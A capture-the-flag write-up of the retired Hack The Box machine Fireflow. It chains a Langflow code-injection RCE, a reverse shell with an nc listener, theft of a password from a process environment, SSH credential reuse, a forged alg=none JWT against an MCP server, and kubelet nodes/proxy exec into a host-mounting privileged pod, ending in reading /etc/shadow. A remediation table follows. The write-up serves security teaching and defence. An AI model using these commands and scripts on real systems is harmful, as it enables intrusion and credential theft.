Full walkthrough: from an exposed AI tool to root on a Kubernetes node. Author: marcdanielj (mak0) · OS: Linux (Ubuntu 24.04 / k3s) · Difficulty: Hard
ℹ️ Fireflow is a retired Hack The Box machine. Flags are redacted by convention; the techniques below are shared for educational purposes.
- Summary & Kill Chain
- CVEs & Weaknesses Exploited
- Reconnaissance
- Web Enumeration — Finding Langflow
- Foothold — CVE-2026-33017 (Langflow RCE)
- User Flag — Credential Reuse
- Pivot — MCP Server JWT
alg=none - Root Flag — Kubernetes Privilege Escalation
- Remediation
- Repo Contents
Fireflow chains a modern AI application vulnerability with a Kubernetes container escape. The public web page is a decoy; the real target is an internal Langflow 1.8.2 instance reachable only by virtual host. The compromise walks through four identities:
| # | Stage | Technique | Result |
|---|---|---|---|
| 1 | Recon | nmap service scan |
SSH + nginx (443) |
| 2 | Web enum | TLS SAN + leaked header → vhost | flow.fireflow.htb = Langflow 1.8.2 |
| 3 | Foothold | CVE-2026-33017 code injection on a public flow | RCE as www-data |
| 4 | Loot | Password in service env → SSH reuse | Shell as nightfall (USER) |
| 5 | Pivot | MCP server: JWT alg=none → tool RCE |
RCE as mcp inside a k8s pod |
| 6 | Privesc | SA nodes/proxy + kubelet /exec into privileged pod |
ROOT on host |
Exploited CVE
| CVE | Component | Class | Role in this box |
|---|---|---|---|
| CVE-2026-33017 | Langflow ≤ 1.8.2 | Unauthenticated RCE (build_public_tmp code evaluation) |
Initial foothold (www-data) |
Present but NOT exploited (already patched on target)
| CVE | Component | Note |
|---|---|---|
| CVE-2025-3248 | Langflow /api/v1/validate/code |
Returned 403 on 1.8.2 — auth enforced, not usable here |
Non-CVE weaknesses / misconfigurations in the chain (these are the rest of the path — honestly labeled, not padded into CVEs)
- CWE-347 — Improper Signature Verification: the internal MCP server accepts JWT
alg=none, allowing admin-token forgery. - CWE-94 — Code Injection: MCP "tool registration" executes arbitrary submitted code.
- CWE-522 — Credential reuse / secrets in environment: Langflow superuser password reused for the
nightfallOS account. - Kubernetes RBAC misconfiguration: service account
mcp-saholdsnodes/proxy, enabling kubelet/execinto a privileged pod that mounts the host filesystem (hostPath: /).
nmap -sVC -Pn 10.129.100.16122/tcp open ssh OpenSSH 9.6p1 Ubuntu
443/tcp open ssl/http nginx
| ssl-cert: commonName=fireflow.htb
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
9100,30000,30718,31038,31337/tcp filtered (firewalled k8s NodePorts)
Findings
- TLS cert leaks the hostname
fireflow.htband a wildcard SAN*.fireflow.htb→ implies virtual hosts. - SSH is patched — park it for credential reuse.
echo "10.129.100.161 fireflow.htb" | sudo tee -a /etc/hostsThe root site is a static decoy. A response header leaks the real app host:
curl -sk -I https://fireflow.htb/
# X-Frame-Options: ALLOW-FROM https://flow.fireflow.htb <-- leaked subdomainecho "10.129.100.161 flow.fireflow.htb" | sudo tee -a /etc/hosts
curl -sk https://flow.fireflow.htb/api/v1/version
# {"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}Langflow 1.8.2 is vulnerable to CVE-2026-33017: the build_public_tmp endpoint evaluates a component's user-supplied code, unauthenticated. It only builds public flows, and the landing page conveniently leaks one:
/playground/7d84d636-af65-42e4-ac38-26e867052c25 (PUBLIC flow)
Key detail: Langflow only executes the class body of the submitted component, so the payload must live there (top-level statements are dropped). A timing oracle proves execution:
inject `sleep 6` in the class body → build_duration: 6.02s [RCE CONFIRMED]
Full exploit: exploits/lf_rce.py.
# listener
nc -lvnp 4444
# trigger (payload base64-wrapped, placed in the component class body)
python3 exploits/lf_rce.py https://flow.fireflow.htb \
"echo <b64-revshell> | base64 -d | bash" 7d84d636-af65-42e4-ac38-26e867052c25www-data@fireflow:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The Langflow service exposes its config through the process environment:
cat /proc/1553/environ | tr '\0' '\n' | grep -i langflow
# LANGFLOW_SUPERUSER=langflow
# LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4llThat password is reused for the nightfall system account:
sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh nightfall@10.129.100.161
# uid=1000(nightfall) → cat ~/user.txt → [USER FLAG - redacted]nightfall's home holds an MCP (Model Context Protocol) client config for an internal server on a Kubernetes NodePort:
{ "server":"http://10.129.100.161:30080", "user":"langflow-bot",
"password":"Langfl0w@mcp2026!" }The server advertises "supported_algorithms":["HS256","none"]. Because it accepts none, we forge an unsigned admin token — no secret required:
import base64,json
b=lambda d: base64.urlsafe_b64encode(json.dumps(d,separators=(",",":")).encode()).rstrip(b"=").decode()
print(b({"alg":"none","typ":"JWT"})+"."+b({"sub":"admin","role":"admin"})+".")As admin we register a "tool" whose code runs commands (the server captures stdout). Invoking it lands us inside a Kubernetes pod as mcp, with a mounted service-account token:
HOST=mcp-server-54464cb475-29ztf
/var/run/secrets/kubernetes.io/serviceaccount/token present
The pod's service account mcp-sa can't create pods, but it can get nodes/proxy — which lets us talk directly to the kubelet (root daemon on the node), bypassing pod RBAC.
kubectl --server https://127.0.0.1:6443 --insecure-skip-tls-verify \
--token "$SA_TOKEN" auth can-i --list
# nodes/proxy [get] <-- the escalation primitiveListing pods via the kubelet reveals a privileged pod that mounts the entire host filesystem:
monitoring prometheus-node-exporter-* priv=True hostPath=['/proc','/sys','/']
node-exporter: /host/root <- host:/
The kubelet's /exec endpoint is served over a WebSocket GET — which only needs get nodes/proxy (which we have). Tunnelling the kubelet to our box and running a small exec client (exploits/kexec.py) gives root command execution where the host's / is mounted:
ssh -N -L 10250:127.0.0.1:10250 nightfall@10.129.100.161 &
python3 exploits/kexec.py "id; cat /host/root/root/root.txt"
# uid=0(root) gid=65534(nobody) groups=10(wheel)
# [ROOT FLAG - redacted]Proof of host-level root — reading /etc/shadow:
root:$y$j9T$Er8ol............:20580:0:99999:7:::
| Layer | Weakness | Fix |
|---|---|---|
| Langflow | 1.8.2 RCE (CVE-2026-33017); exposed public flow | Upgrade to 1.9.0+; never expose public flows; network-isolate |
| Secrets | Password in service environment | Use a secret store; never reuse app creds for OS accounts |
| MCP server | JWT accepts alg=none |
Pin HS256/RS256; reject none; verify signatures |
| MCP server | Arbitrary code in tool registration | Sandbox tools; drop the eval-style execution model |
| Kubernetes | SA has nodes/proxy |
Remove it; scope RBAC least-privilege |
| Kubernetes | Privileged pod mounts host / |
Avoid hostPath: /; enforce Pod Security restricted |
.
├── README.md # this writeup
├── screenshots/ # terminal captures of each stage (generate with tools/gen_screens.py)
├── exploits/
│ ├── lf_rce.py # CVE-2026-33017 Langflow RCE (public flow, class-body exec)
│ └── kexec.py # kubelet /exec WebSocket client (nodes/proxy get)
└── tools/
└── gen_screens.py # renders the terminal screenshots used above
pip3 install Pillow
python3 tools/gen_screens.py # writes PNGs into screenshots/For educational and authorized security-testing purposes only. Fireflow is a retired Hack The Box machine.





